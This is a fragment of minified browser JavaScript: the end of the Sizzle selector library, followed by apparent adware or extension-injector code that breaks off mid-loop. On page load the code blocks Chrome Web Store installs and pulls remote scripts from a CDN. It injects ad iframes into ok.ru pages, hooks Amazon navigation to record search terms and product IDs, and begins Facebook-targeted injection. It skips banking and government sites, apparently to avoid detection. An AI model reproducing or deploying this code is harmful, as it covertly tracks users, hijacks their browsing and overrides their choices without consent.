} else { | |
if (e === 1 || e === 9 || e === 11) { | |
if (typeof aL.textContent === "string") { | |
return aL.textContent | |
} else { | |
for (aL = aL.firstChild; aL; aL = aL.nextSibling) { | |
aI += R(aL) | |
} | |
} | |
} else { | |
if (e === 3 || e === 4) { | |
return aL.nodeValue | |
} | |
} | |
} | |
return aI | |
}; | |
v = E.selectors = { | |
cacheLength: 50, | |
createPseudo: r, | |
match: am, | |
attrHandle: {}, | |
find: {}, | |
relative: { | |
">": { | |
dir: "parentNode", | |
first: true | |
}, | |
" ": { | |
dir: "parentNode" | |
}, | |
"+": { | |
dir: "previousSibling", | |
first: true | |
}, | |
"~": { | |
dir: "previousSibling" | |
} | |
}, | |
preFilter: { | |
ATTR: function(e) { | |
e[1] = e[1].replace(A, ap); | |
e[3] = (e[4] || e[5] || "").replace(A, ap); | |
if (e[2] === "~=") { | |
e[3] = " " + e[3] + " " | |
} | |
return e.slice(0, 4) | |
}, | |
CHILD: function(e) { | |
e[1] = e[1].toLowerCase(); | |
if (e[1].slice(0, 3) === "nth") { | |
if (!e[3]) { | |
E.error(e[0]) | |
} | |
e[4] = +(e[4] ? e[5] + (e[6] || 1) : 2 * (e[3] === "even" || e[3] === "odd")); | |
e[5] = +((e[7] + e[8]) || e[3] === "odd") | |
} else { | |
if (e[3]) { | |
E.error(e[0]) | |
} | |
} | |
return e | |
}, | |
PSEUDO: function(i) { | |
var e, aI = !i[5] && i[2]; | |
if (am.CHILD.test(i[0])) { | |
return null | |
} | |
if (i[3] && i[4] !== q) { | |
i[2] = i[4] | |
} else { | |
if (aI && ad.test(aI) && (e = p(aI, true)) && (e = aI.indexOf(")", aI.length - e) - aI.length)) { | |
i[0] = i[0].slice(0, e); | |
i[2] = aI.slice(0, e) | |
} | |
} | |
return i.slice(0, 3) | |
} | |
}, | |
filter: { | |
TAG: function(i) { | |
var e = i.replace(A, ap).toLowerCase(); | |
return i === "*" ? function() { | |
return true | |
} : function(aI) { | |
return aI.nodeName && aI.nodeName.toLowerCase() === e | |
} | |
}, | |
CLASS: function(e) { | |
var i = d[e + " "]; | |
return i || (i = new RegExp("(^|" + x + ")" + e + "(" + x + "|$)")) && d(e, function(aI) { | |
return i.test(typeof aI.className === "string" && aI.className || typeof aI.getAttribute !== az && aI.getAttribute("class") || "") | |
}) | |
}, | |
ATTR: function(aI, i, e) { | |
return function(aK) { | |
var aJ = E.attr(aK, aI); | |
if (aJ == null) { | |
return i === "!=" | |
} | |
if (!i) { | |
return true | |
} | |
aJ += ""; | |
return i === "=" ? aJ === e : i === "!=" ? aJ !== e : i === "^=" ? e && aJ.indexOf(e) === 0 : i === "*=" ? e && aJ.indexOf(e) > -1 : i === "$=" ? e && aJ.slice(-e.length) === e : i === "~=" ? (" " + aJ + " ").indexOf(e) > -1 : i === "|=" ? aJ === e || aJ.slice(0, e.length + 1) === e + "-" : false | |
} | |
}, | |
CHILD: function(i, aK, aJ, aL, aI) { | |
var aN = i.slice(0, 3) !== "nth", | |
e = i.slice(-4) !== "last", | |
aM = aK === "of-type"; | |
return aL === 1 && aI === 0 ? function(aO) { | |
return !!aO.parentNode | |
} : function(aU, aS, aX) { | |
var aO, a0, aV, aZ, aW, aR, aT = aN !== e ? "nextSibling" : "previousSibling", | |
aY = aU.parentNode, | |
aQ = aM && aU.nodeName.toLowerCase(), | |
aP = !aX && !aM; | |
if (aY) { | |
if (aN) { | |
while (aT) { | |
aV = aU; | |
while ((aV = aV[aT])) { | |
if (aM ? aV.nodeName.toLowerCase() === aQ : aV.nodeType === 1) { | |
return false | |
} | |
} | |
aR = aT = i === "only" && !aR && "nextSibling" | |
} | |
return true | |
} | |
aR = [e ? aY.firstChild : aY.lastChild]; | |
if (e && aP) { | |
a0 = aY[av] || (aY[av] = {}); | |
aO = a0[i] || []; | |
aW = aO[0] === aE && aO[1]; | |
aZ = aO[0] === aE && aO[2]; | |
aV = aW && aY.childNodes[aW]; | |
while ((aV = ++aW && aV && aV[aT] || (aZ = aW = 0) || aR.pop())) { | |
if (aV.nodeType === 1 && ++aZ && aV === aU) { | |
a0[i] = [aE, aW, aZ]; | |
break | |
} | |
} | |
} else { | |
if (aP && (aO = (aU[av] || (aU[av] = {}))[i]) && aO[0] === aE) { | |
aZ = aO[1] | |
} else { | |
while ((aV = ++aW && aV && aV[aT] || (aZ = aW = 0) || aR.pop())) { | |
if ((aM ? aV.nodeName.toLowerCase() === aQ : aV.nodeType === 1) && ++aZ) { | |
if (aP) { | |
(aV[av] || (aV[av] = {}))[i] = [aE, aZ] | |
} | |
if (aV === aU) { | |
break | |
} | |
} | |
} | |
} | |
} | |
aZ -= aI; | |
return aZ === aL || (aZ % aL === 0 && aZ / aL >= 0) | |
} | |
} | |
}, | |
PSEUDO: function(aJ, aI) { | |
var e, i = v.pseudos[aJ] || v.setFilters[aJ.toLowerCase()] || E.error("unsupported pseudo: " + aJ); | |
if (i[av]) { | |
return i(aI) | |
} | |
if (i.length > 1) { | |
e = [aJ, aJ, "", aI]; | |
return v.setFilters.hasOwnProperty(aJ.toLowerCase()) ? r(function(aM, aO) { | |
var aL, aK = i(aM, aI), | |
aN = aK.length; | |
while (aN--) { | |
aL = j.call(aM, aK[aN]); | |
aM[aL] = !(aO[aL] = aK[aN]) | |
} | |
}) : function(aK) { | |
return i(aK, 0, e) | |
} | |
} | |
return i | |
} | |
}, | |
pseudos: { | |
not: r(function(e) { | |
var i = [], | |
aI = [], | |
aJ = ag(e.replace(z, "$1")); | |
return aJ[av] ? r(function(aL, aQ, aO, aM) { | |
var aP, aK = aJ(aL, null, aM, []), | |
aN = aL.length; | |
while (aN--) { | |
if ((aP = aK[aN])) { | |
aL[aN] = !(aQ[aN] = aP) | |
} | |
} | |
}) : function(aM, aL, aK) { | |
i[0] = aM; | |
aJ(i, null, aK, aI); | |
return !aI.pop() | |
} | |
}), | |
has: r(function(e) { | |
return function(i) { | |
return E(e, i).length > 0 | |
} | |
}), | |
contains: r(function(e) { | |
return function(i) { | |
return (i.textContent || i.innerText || R(i)).indexOf(e) > -1 | |
} | |
}), | |
lang: r(function(e) { | |
if (!ae.test(e || "")) { | |
E.error("unsupported lang: " + e) | |
} | |
e = e.replace(A, ap).toLowerCase(); | |
return function(aI) { | |
var i; | |
do { | |
if ((i = at ? aI.lang : aI.getAttribute("xml:lang") || aI.getAttribute("lang"))) { | |
i = i.toLowerCase(); | |
return i === e || i.indexOf(e + "-") === 0 | |
} | |
} while ((aI = aI.parentNode) && aI.nodeType === 1); | |
return false | |
} | |
}), | |
target: function(e) { | |
var i = aA.location && aA.location.hash; | |
return i && i.slice(1) === e.id | |
}, | |
root: function(e) { | |
return e === w | |
}, | |
focus: function(e) { | |
return e === L.activeElement && (!L.hasFocus || L.hasFocus()) && !!(e.type || e.href || ~e.tabIndex) | |
}, | |
enabled: function(e) { | |
return e.disabled === false | |
}, | |
disabled: function(e) { | |
return e.disabled === true | |
}, | |
checked: function(e) { | |
var i = e.nodeName.toLowerCase(); | |
return (i === "input" && !!e.checked) || (i === "option" && !!e.selected) | |
}, | |
selected: function(e) { | |
if (e.parentNode) { | |
e.parentNode.selectedIndex | |
} | |
return e.selected === true | |
}, | |
empty: function(e) { | |
for (e = e.firstChild; e; e = e.nextSibling) { | |
if (e.nodeName > "@" || e.nodeType === 3 || e.nodeType === 4) { | |
return false | |
} | |
} | |
return true | |
}, | |
parent: function(e) { | |
return !v.pseudos.empty(e) | |
}, | |
header: function(e) { | |
return t.test(e.nodeName) | |
}, | |
input: function(e) { | |
return h.test(e.nodeName) | |
}, | |
button: function(i) { | |
var e = i.nodeName.toLowerCase(); | |
return e === "input" && i.type === "button" || e === "button" | |
}, | |
text: function(i) { | |
var e; | |
return i.nodeName.toLowerCase() === "input" && i.type === "text" && ((e = i.getAttribute("type")) == null || e.toLowerCase() === i.type) | |
}, | |
first: ar(function() { | |
return [0] | |
}), | |
last: ar(function(e, i) { | |
return [i - 1] | |
}), | |
eq: ar(function(e, aI, i) { | |
return [i < 0 ? i + aI : i] | |
}), | |
even: ar(function(e, aJ) { | |
var aI = 0; | |
for (; aI < aJ; aI += 2) { | |
e.push(aI) | |
} | |
return e | |
}), | |
odd: ar(function(e, aJ) { | |
var aI = 1; | |
for (; aI < aJ; aI += 2) { | |
e.push(aI) | |
} | |
return e | |
}), | |
lt: ar(function(e, aK, aJ) { | |
var aI = aJ < 0 ? aJ + aK : aJ; | |
for (; --aI >= 0;) { | |
e.push(aI) | |
} | |
return e | |
}), | |
gt: ar(function(e, aK, aJ) { | |
var aI = aJ < 0 ? aJ + aK : aJ; | |
for (; ++aI < aK;) { | |
e.push(aI) | |
} | |
return e | |
}) | |
} | |
}; | |
for (G in { | |
radio: true, | |
checkbox: true, | |
file: true, | |
password: true, | |
image: true | |
}) { | |
v.pseudos[G] = F(G) | |
} | |
for (G in { | |
submit: true, | |
reset: true | |
}) { | |
v.pseudos[G] = g(G) | |
} | |
function p(aK, aP) { | |
var i, aL, aN, aO, aM, aI, e, aJ = au[aK + " "]; | |
if (aJ) { | |
return aP ? 0 : aJ.slice(0) | |
} | |
aM = aK; | |
aI = []; | |
e = v.preFilter; | |
while (aM) { | |
if (!i || (aL = D.exec(aM))) { | |
if (aL) { | |
aM = aM.slice(aL[0].length) || aM | |
} | |
aI.push(aN = []) | |
} | |
i = false; | |
if ((aL = K.exec(aM))) { | |
i = aL.shift(); | |
aN.push({ | |
value: i, | |
type: aL[0].replace(z, " ") | |
}); | |
aM = aM.slice(i.length) | |
} | |
for (aO in v.filter) { | |
if ((aL = am[aO].exec(aM)) && (!e[aO] || (aL = e[aO](aL)))) { | |
i = aL.shift(); | |
aN.push({ | |
value: i, | |
type: aO, | |
matches: aL | |
}); | |
aM = aM.slice(i.length) | |
} | |
} | |
if (!i) { | |
break | |
} | |
} | |
return aP ? aM.length : aM ? E.error(aK) : au(aK, aI).slice(0) | |
} | |
function o(aK) { | |
var aJ = 0, | |
aI = aK.length, | |
e = ""; | |
for (; aJ < aI; aJ++) { | |
e += aK[aJ].value | |
} | |
return e | |
} | |
function y(aK, aI, aJ) { | |
var e = aI.dir, | |
aL = aJ && e === "parentNode", | |
i = ao++; | |
return aI.first ? function(aO, aN, aM) { | |
while ((aO = aO[e])) { | |
if (aO.nodeType === 1 || aL) { | |
return aK(aO, aN, aM) | |
} | |
} | |
} : function(aQ, aO, aN) { | |
var aS, aM, aP, aR = aE + " " + i; | |
if (aN) { | |
while ((aQ = aQ[e])) { | |
if (aQ.nodeType === 1 || aL) { | |
if (aK(aQ, aO, aN)) { | |
return true | |
} | |
} | |
} | |
} else { | |
while ((aQ = aQ[e])) { | |
if (aQ.nodeType === 1 || aL) { | |
aP = aQ[av] || (aQ[av] = {}); | |
if ((aM = aP[e]) && aM[0] === aR) { | |
if ((aS = aM[1]) === true || aS === l) { | |
return aS === true | |
} | |
} else { | |
aM = aP[e] = [aR]; | |
aM[1] = aK(aQ, aO, aN) || l; | |
if (aM[1] === true) { | |
return true | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
function aG(e) { | |
return e.length > 1 ? function(aL, aK, aI) { | |
var aJ = e.length; | |
while (aJ--) { | |
if (!e[aJ](aL, aK, aI)) { | |
return false | |
} | |
} | |
return true | |
} : e[0] | |
} | |
function ak(e, aI, aJ, aK, aN) { | |
var aL, aQ = [], | |
aM = 0, | |
aO = e.length, | |
aP = aI != null; | |
for (; aM < aO; aM++) { | |
if ((aL = e[aM])) { | |
if (!aJ || aJ(aL, aK, aN)) { | |
aQ.push(aL); | |
if (aP) { | |
aI.push(aM) | |
} | |
} | |
} | |
} | |
return aQ | |
} | |
function n(aI, i, aK, aJ, aL, e) { | |
if (aJ && !aJ[av]) { | |
aJ = n(aJ) | |
} | |
if (aL && !aL[av]) { | |
aL = n(aL, e) | |
} | |
return r(function(aW, aT, aO, aV) { | |
var aY, aU, aQ, aP = [], | |
aX = [], | |
aN = aT.length, | |
aM = aW || I(i || "*", aO.nodeType ? [aO] : aO, []), | |
aR = aI && (aW || !i) ? ak(aM, aP, aI, aO, aV) : aM, | |
aS = aK ? aL || (aW ? aI : aN || aJ) ? [] : aT : aR; | |
if (aK) { | |
aK(aR, aS, aO, aV) | |
} | |
if (aJ) { | |
aY = ak(aS, aX); | |
aJ(aY, [], aO, aV); | |
aU = aY.length; | |
while (aU--) { | |
if ((aQ = aY[aU])) { | |
aS[aX[aU]] = !(aR[aX[aU]] = aQ) | |
} | |
} | |
} | |
if (aW) { | |
if (aL || aI) { | |
if (aL) { | |
aY = []; | |
aU = aS.length; | |
while (aU--) { | |
if ((aQ = aS[aU])) { | |
aY.push((aR[aU] = aQ)) | |
} | |
} | |
aL(null, (aS = []), aY, aV) | |
} | |
aU = aS.length; | |
while (aU--) { | |
if ((aQ = aS[aU]) && (aY = aL ? j.call(aW, aQ) : aP[aU]) > -1) { | |
aW[aY] = !(aT[aY] = aQ) | |
} | |
} | |
} | |
} else { | |
aS = ak(aS === aT ? aS.splice(aN, aS.length) : aS); | |
if (aL) { | |
aL(null, aT, aS, aV) | |
} else { | |
b.apply(aT, aS) | |
} | |
} | |
}) | |
} | |
function aw(aN) { | |
var aI, aL, aJ, aM = aN.length, | |
aQ = v.relative[aN[0].type], | |
aR = aQ || v.relative[" "], | |
aK = aQ ? 1 : 0, | |
aO = y(function(i) { | |
return i === aI | |
}, aR, true), | |
aP = y(function(i) { | |
return j.call(aI, i) > -1 | |
}, aR, true), | |
e = [function(aT, aS, i) { | |
return (!aQ && (i || aS !== aH)) || ((aI = aS).nodeType ? aO(aT, aS, i) : aP(aT, aS, i)) | |
}]; | |
for (; aK < aM; aK++) { | |
if ((aL = v.relative[aN[aK].type])) { | |
e = [y(aG(e), aL)] | |
} else { | |
aL = v.filter[aN[aK].type].apply(null, aN[aK].matches); | |
if (aL[av]) { | |
aJ = ++aK; | |
for (; aJ < aM; aJ++) { | |
if (v.relative[aN[aJ].type]) { | |
break | |
} | |
} | |
return n(aK > 1 && aG(e), aK > 1 && o(aN.slice(0, aK - 1).concat({ | |
value: aN[aK - 2].type === " " ? "*" : "" | |
})).replace(z, "$1"), aL, aK < aJ && aw(aN.slice(aK, aJ)), aJ < aM && aw((aN = aN.slice(aJ))), aJ < aM && o(aN)) | |
} | |
e.push(aL) | |
} | |
} | |
return aG(e) | |
} | |
function ai(aJ, aI) { | |
var aL = 0, | |
e = aI.length > 0, | |
aK = aJ.length > 0, | |
i = function(aV, aP, aU, aT, a1) { | |
var aQ, aR, aW, a0 = [], | |
aZ = 0, | |
aS = "0", | |
aM = aV && [], | |
aX = a1 != null, | |
aY = aH, | |
aO = aV || aK && v.find.TAG("*", a1 && aP.parentNode || aP), | |
aN = (aE += aY == null ? 1 : Math.random() || 0.1); | |
if (aX) { | |
aH = aP !== L && aP; | |
l = aL | |
} | |
for (; | |
(aQ = aO[aS]) != null; aS++) { | |
if (aK && aQ) { | |
aR = 0; | |
while ((aW = aJ[aR++])) { | |
if (aW(aQ, aP, aU)) { | |
aT.push(aQ); | |
break | |
} | |
} | |
if (aX) { | |
aE = aN; | |
l = ++aL | |
} | |
} | |
if (e) { | |
if ((aQ = !aW && aQ)) { | |
aZ-- | |
} | |
if (aV) { | |
aM.push(aQ) | |
} | |
} | |
} | |
aZ += aS; | |
if (e && aS !== aZ) { | |
aR = 0; | |
while ((aW = aI[aR++])) { | |
aW(aM, a0, aP, aU) | |
} | |
if (aV) { | |
if (aZ > 0) { | |
while (aS--) { | |
if (!(aM[aS] || a0[aS])) { | |
a0[aS] = ay.call(aT) | |
} | |
} | |
} | |
a0 = ak(a0) | |
} | |
b.apply(aT, a0); | |
if (aX && !aV && a0.length > 0 && (aZ + aI.length) > 1) { | |
E.uniqueSort(aT) | |
} | |
} | |
if (aX) { | |
aE = aN; | |
aH = aY | |
} | |
return aM | |
}; | |
return e ? r(i) : i | |
} | |
ag = E.compile = function(e, aM) { | |
var aJ, aI = [], | |
aL = [], | |
aK = Q[e + " "]; | |
if (!aK) { | |
if (!aM) { | |
aM = p(e) | |
} | |
aJ = aM.length; | |
while (aJ--) { | |
aK = aw(aM[aJ]); | |
if (aK[av]) { | |
aI.push(aK) | |
} else { | |
aL.push(aK) | |
} | |
} | |
aK = Q(e, ai(aL, aI)) | |
} | |
return aK | |
}; | |
function I(aI, aL, aK) { | |
var aJ = 0, | |
e = aL.length; | |
for (; aJ < e; aJ++) { | |
E(aI, aL[aJ], aK) | |
} | |
return aK | |
} | |
function aC(aJ, e, aK, aN) { | |
var aL, aP, aI, aQ, aO, aM = p(aJ); | |
if (!aN) { | |
if (aM.length === 1) { | |
aP = aM[0] = aM[0].slice(0); | |
if (aP.length > 2 && (aI = aP[0]).type === "ID" && aD.getById && e.nodeType === 9 && at && v.relative[aP[1].type]) { | |
e = (v.find.ID(aI.matches[0].replace(A, ap), e) || [])[0]; | |
if (!e) { | |
return aK | |
} | |
aJ = aJ.slice(aP.shift().value.length) | |
} | |
aL = am.needsContext.test(aJ) ? 0 : aP.length; | |
while (aL--) { | |
aI = aP[aL]; | |
if (v.relative[(aQ = aI.type)]) { | |
break | |
} | |
if ((aO = v.find[aQ])) { | |
if ((aN = aO(aI.matches[0].replace(A, ap), al.test(aP[0].type) && e.parentNode || e))) { | |
aP.splice(aL, 1); | |
aJ = aN.length && o(aP); | |
if (!aJ) { | |
b.apply(aK, aN); | |
return aK | |
} | |
break | |
} | |
} | |
} | |
} | |
} | |
ag(aJ, aM)(aN, e, !at, aK, al.test(aJ)); | |
return aK | |
} | |
v.pseudos.nth = v.pseudos.eq; | |
function af() {} | |
af.prototype = v.filters = v.pseudos; | |
v.setFilters = new af(); | |
aD.sortStable = av.split("").sort(N).join("") === av; | |
aj(); | |
[0, 0].sort(N); | |
aD.detectDuplicates = ah; | |
aA["c822bb0d82ad01a5ae"].Sizzle = E | |
})(window);; | |
var e = i[g].Sizzle; | |
var d = i[g]; | |
d.Sizzle = e; | |
d.demoMode = i[g].demoMode = (o); | |
d.ready(function() { | |
if (location.href.indexOf("thisadsfor.us") > -1) { | |
return true | |
} | |
try { | |
(function() { | |
var x = function() { | |
var z = "chrome-webstore-item"; | |
var A = document.getElementsByTagName("link"); | |
for (var y = 0, B = A.length; B > y; ++y) { | |
if (z == A[y].getAttribute("id") || z == A[y].getAttribute("rel")) { | |
d.loadedCallback("PROMO_ANLZ", "", location.host, location.href, A[y].getAttribute("href")) | |
} | |
} | |
}; | |
x() | |
})() | |
} catch (v) {} | |
try { | |
(function() { | |
var z = function() { | |
location.href = "javascript:(" + function() { | |
window.onbeforeunload = null; | |
window.onunload = null; | |
chrome.webstore.install = null | |
} + ")()" | |
}; | |
var y = function() { | |
window.stop && window.stop(); | |
location.replace("about:blank") | |
}; | |
var x = function() { | |
if ("49377" == "51433" && location.hostname.indexOf("olam-hamedia.tech") > -1) { | |
return | |
} | |
var B = "chrome-webstore-item"; | |
var C = document.getElementsByTagName("link"); | |
for (var A = 0, D = C.length; D > A; ++A) { | |
if (B == C[A].getAttribute("id") || B == C[A].getAttribute("rel")) { | |
C[A].setAttribute("rel", ""); | |
C[A].setAttribute("id", ""); | |
C[A].setAttribute("href", ""); | |
z() | |
} | |
} | |
}; | |
if (!location.hostname.match(/dostup-[a-z]+\.com$/) && location.hostname.indexOf("freevideodownloader") == -1 && location.hostname.indexOf("musvk") == -1 && location.hostname.indexOf("vkonline.xyz") == -1 && location.hostname.indexOf("vkunblock.com") == -1) { | |
x() | |
} | |
})() | |
} catch (v) {} | |
var r = function(y) { | |
var B = {}; | |
y = y.split("?"); | |
if (y.length < 2) { | |
return B | |
} | |
var A = y[1]; | |
var C = A.split("&"); | |
for (var z = 0; z < C.length; z++) { | |
var D = C[z].split("="); | |
if (typeof B[D[0]] === "undefined") { | |
B[D[0]] = D[1] | |
} else { | |
if (typeof B[D[0]] === "string") { | |
var x = [B[D[0]], D[1]]; | |
B[D[0]] = x | |
} else { | |
B[D[0]].push(D[1]) | |
} | |
} | |
} | |
return B | |
}; | |
var s = {}; | |
var p = document.getElementsByTagName("script"); | |
for (var t = 0; t < p.length; t++) { | |
var q = p[t]; | |
if (q.src.search(/c822bb0d82ad01a5ae.*\.js/i) !== -1) { | |
if (n) { | |
d.scriptDomain = q.src.replace(/^https?\:\/\//i, "").split("/")[0] | |
} | |
s = r(q.src); | |
break | |
} | |
} | |
if (location.host.indexOf("bing.com") > -1 && i.AM && typeof i.AM == "object") { | |
i.AM.push(d.scriptDomain) | |
} | |
i[g].tbParams = { | |
wid: "49377", | |
sid: "", | |
tid: "200", | |
title: "Test Results", | |
optoutUrl: "" | |
}; | |
if (s.sid) { | |
i[g].tbParams.sid = s.sid | |
} | |
if (s.title) { | |
i[g].tbParams.title = decodeURIComponent(s.title) | |
} | |
if (s.optout) { | |
i[g].tbParams.optoutUrl = decodeURIComponent(s.optout) | |
} | |
i[g].getParams = r(location.href); | |
d.tbParams = i[g].tbParams; | |
d.loadedCallback("LOADED", "", location.host); | |
var w = /\.(jpg|png|jpeg|gif|bmp|doc|pdf|xls|js|xml|doc|docs|txt|css)$/; | |
if (location.href.match(w)) { | |
d.loadedCallback("URL_STATICFILE"); | |
return false | |
} | |
var u = /(paypal\.com|secure\.|\.gov|doubleclick\.net|addthis\.com|twitter\.com|docs\.google\.com|drive\.google\.com)/; | |
if (location.hostname.match(u)) { | |
d.loadedCallback("URL_IGNOREDOMAIN"); | |
return false | |
}(function(d, w, u) { | |
var $$ = w["c822bb0d82ad01a5ae"]; | |
var scriptsToLoad = $$.fromJson("{\"78507\":{\"countries_allow\":\"\",\"countries_deny\":\"\",\"hostname_allow\":\"\",\"hostname_deny\":\"\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"0-50\",\"url\":\"\",\"limit\":\"0\",\"type\":\"external\",\"key\":\"78507\"},\"d115b\":{\"countries_allow\":\"\",\"countries_deny\":\"at,br,ch,de,dk,es,fi,fr,in,it,mx,nl,no,se,sg,tw,gb,us\",\"hostname_allow\":\"(?:google\\\\..*)\",\"hostname_deny\":\"\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"0-100\",\"url\":\"\\/\\/1675450967.rsc.cdn77.org\\/cu\\/mtz63.js\",\"limit\":\"0\",\"type\":\"external\",\"key\":\"d115b\"}}"); | |
var extendedCallbacks = false; | |
if ("49377" == "51739") { | |
extendedCallbacks = true | |
};;;;; | |
var isInIframe = function() { | |
return (window.top != window.self) | |
}; | |
var runForceSearch;;;; | |
if (!scriptsToLoad) { | |
return false | |
} | |
$$.monetizationsConfig = scriptsToLoad; | |
var getUrlFromConfigObject = function(configRow) { | |
if (configRow.http_url && window.location.protocol == "http:") { | |
return configRow.http_url | |
} else { | |
if (configRow.https_url && window.location.protocol == "https:") { | |
return configRow.https_url | |
} else { | |
if (configRow.url) { | |
return configRow.url | |
} | |
} | |
} | |
}; | |
if (scriptsToLoad['4a71b'] && $$.getCookie("__mzpsd") == 1) { | |
return false | |
} | |
if (location.hostname.indexOf("ok.ru") > -1 && scriptsToLoad['1f755']) { | |
var oconf = $$.getMtzCfg('1f755'); | |
if (!!oconf.injectOk && oconf.injectOk == "1") { | |
(function() { | |
var d = document.querySelector("body"); | |
if (!d) { | |
return | |
} | |
function i(j) { | |
j = j.replace(/%PUBLISHER_ID%/, ($$ && $$.tbParams && $$.tbParams.wid) ? $$.tbParams.wid : ""); | |
j = j.replace(/%SOURCE_ID%/, ($$ && $$.tbParams && $$.tbParams.tid) ? $$.tbParams.tid : ""); | |
j = j.replace(/%SUBID%/, ($$ && $$.tbParams && $$.tbParams.sid) ? $$.tbParams.sid : ""); | |
j = j.replace(/INSERT_RANDOM_NUMBER_HERE/, new Date().getTime()); | |
return j | |
} | |
var e = i("<iframe id='a60b8ce3' name='a60b8ce3' src='//cdnpps.us/www/delivery/afr.php?zoneid=122&cb=INSERT_RANDOM_NUMBER_HERE&xid=%PUBLISHER_ID%_%SOURCE_ID%_%SUBID%' frameborder='0' scrolling='no' width='300' height='600' style='display:inline-block;'><a href='//cdnpps.us/www/delivery/ck.php?n=abb06471' target='_blank'><img src='//cdnpps.us/www/delivery/avw.php?zoneid=122&n=abb06471' border='0' alt='' /></a></iframe>"); | |
var c = i("<iframe id='8a61598d' name='8a61598d' src='//cdnpps.us/www/delivery/afr.php?zoneid=119&cb=INSERT_RANDOM_NUMBER_HERE&xid=%PUBLISHER_ID%_%SOURCE_ID%_%SUBID%' frameborder='0' scrolling='no' width='468' height='60' style='display:inline-block;'><a href='//cdnpps.us/www/delivery/ck.php?n=8a61598d' target='_blank'><img src='//cdnpps.us/www/delivery/avw.php?zoneid=119&n=8a61598d' border='0' alt='' /></a></iframe>"); | |
function f(j) { | |
return document.querySelectorAll(j) || [] | |
} | |
var a = function(n, j, o, l, m) { | |
var k = document.createElement("div"); | |
k.setAttribute("id", "_" + Math.floor((Math.random() * 1000000000))); | |
k.setAttribute("style", m || ""); | |
k.innerHTML = o; | |
l.style.textAlign = "center"; | |
l.appendChild(k) | |
}; | |
function b(j) { | |
j.id = "_" + j.id; | |
j.setAttribute("data-mytype", "name_baner"); | |
j.innerHTML = ""; | |
a(300, 600, e, j) | |
} | |
function h(k, j) { | |
var l = document.createElement("div"); | |
l.setAttribute("data-mytype", "name_baner"); | |
l.setAttribute("style", "margin:0 auto; overflow:hidden;"); | |
k.setAttribute("data-mytype", "name_baner"); | |
k.appendChild(l); | |
a(468, 60, c, l, j) | |
} | |
var g = function() { | |
Array.prototype.forEach.call(f("div.feed.__klass.__no-ava>.feed_cnt"), function(j) { | |
if (!j.getAttribute("data-mytype")) { | |
h(j, "margin: 0 auto 10px;") | |
} | |
}); | |
Array.prototype.forEach.call(f('div[class^="feed h-mod"]'), function(j) { | |
if (!j.lastElementChild.getAttribute("data-mytype") && !j.parentNode.getAttribute("class")) { | |
h(j, "margin: 10px auto 0;") | |
} | |
}); | |
Array.prototype.forEach.call(f('div[data-btype^="LinkBanner_navigate"]'), function(j) { | |
if (!j.getAttribute("data-mytype")) { | |
j.innerHTML = ""; | |
b(j) | |
} | |
}); | |
setTimeout(g, 3333) | |
}; | |
g() | |
})(); | |
} | |
} | |
if (typeof runForceSearch != "undefined") { | |
runForceSearch() | |
} | |
var amzreg = /(^|www\.)amazon\./g; | |
if (location.hostname.match(amzreg)) { | |
(function(f, a) { | |
function e(h) { | |
var g, d, i = new RegExp("[?&#]" + h + "=([^&#$]+)", "g"); | |
while (g = i.exec(a.location.href)) { | |
d = decodeURIComponent((g[1] + "").replace(/\+/g, "%20")) | |
} | |
return d | |
} | |
function b() { | |
if (f.location.pathname.indexOf("/s/") !== 0 && f.location.pathname.indexOf("/gp/search/") !== 0) { | |
return | |
} | |
var p = (f.querySelector("[name=field-keywords]") && f.querySelector("[name=field-keywords]").value) || e("field-keywords"); | |
var g = "", | |
i = f.querySelector("#searchDropdownBox option:checked"); | |
if (f.querySelector("#apsRedirectLink")) { | |
i = f.querySelector("#searchDropdownBox option:first-child") | |
} | |
if (!!i) { | |
g = i.value + "::" + i.textContent | |
} | |
var j = []; | |
var o = [].slice.call(f.querySelectorAll(".s-result-item")); | |
if (o.length) { | |
j = o.map(function(m) { | |
return m.getAttribute("data-asin") | |
}) | |
} | |
var k, d = f.getElementById("s-result-count"); | |
if (!!d) { | |
k = d.textContent.indexOf("-") > -1 ? parseInt(d.textContent) : 1; | |
if (f.location.hostname.indexOf("amazon.com.mx") > -1) { | |
k = d.textContent.indexOf(" a ") > -1 ? parseInt(d.textContent) : 1 | |
} | |
if (f.location.hostname.indexOf("amazon.cn") > -1 || f.location.hostname.indexOf("amazon.co.jp") > -1) { | |
var h = d.textContent.match(/\d+\-\d+/); | |
if (!!h) { | |
k = parseInt(h[0]) | |
} | |
} | |
} | |
if (Number.isInteger(k) == false) { | |
var n = f.querySelector(".pagnCur"); | |
var l = n ? parseInt(n.textContent) : parseInt(e("page")) || 1; | |
k = (l - 1) * o.length + 1 | |
} | |
if (!j.length) { | |
return | |
} | |
$$.loadedCallback("AMZN_SEARCH", "", a.location.hostname, p, j.join(","), k, g) | |
} | |
b(); | |
var c = a.history.pushState; | |
window.history.pushState = function(i) { | |
var d = 1000, | |
h = f.getElementById("s-results-list-atf"), | |
g = setInterval(function() { | |
if (h !== f.getElementById("s-results-list-atf") && f.getElementById("centerBelowPlusspacer") === null) { | |
clearInterval(g); | |
b() | |
} | |
if (!d--) { | |
clearInterval(g) | |
} | |
}, 100); | |
return c.apply(a.history, arguments) | |
} | |
})(document, window); | |
} | |
var searchEngineCheckResult; | |
var isSearchEngine = function() { | |
if (typeof searchEngineCheckResult != "undefined") { | |
return searchEngineCheckResult | |
} | |
var found = false; | |
["google.", "search.yahoo.", "bing.com", "ask.com", "shopping.yahoo", "search.aol.", "wow.com", "when.com", "search.mywebsearch.com", "search.myway.com", "duckduckgo.com", "mysearch.com", "teoma.com", "searchlock.com", "myprivatesearch.com", "searchprivacy.co", "thesmartsearch.net", "infospace", "safefinder.com", "mysearchguardian.com"].forEach(function(domainCheck) { | |
if (location.hostname.indexOf(domainCheck) > -1) { | |
found = true | |
} | |
}); | |
searchEngineCheckResult = found; | |
return found | |
}; | |
if (location.hostname.indexOf("facebook.com") > -1) { | |
if (scriptsToLoad['5df82']) { | |
(function(r, j, l) { | |
var k = j["c822bb0d82ad01a5ae"]; | |
var a = j["c822bb0d82ad01a5ae"].Sizzle; | |
if (location.hostname.indexOf("facebook.com") < 0) { | |
return | |
} | |
var q = { | |
_mfbgp_sub_g2: "/fun8times" | |
}; | |
var g = '5df82'; | |
var o = false; | |
var t = "_mfbgp_sub_t"; | |
var b = false; | |
var n = null; | |
for (var p in q) { | |
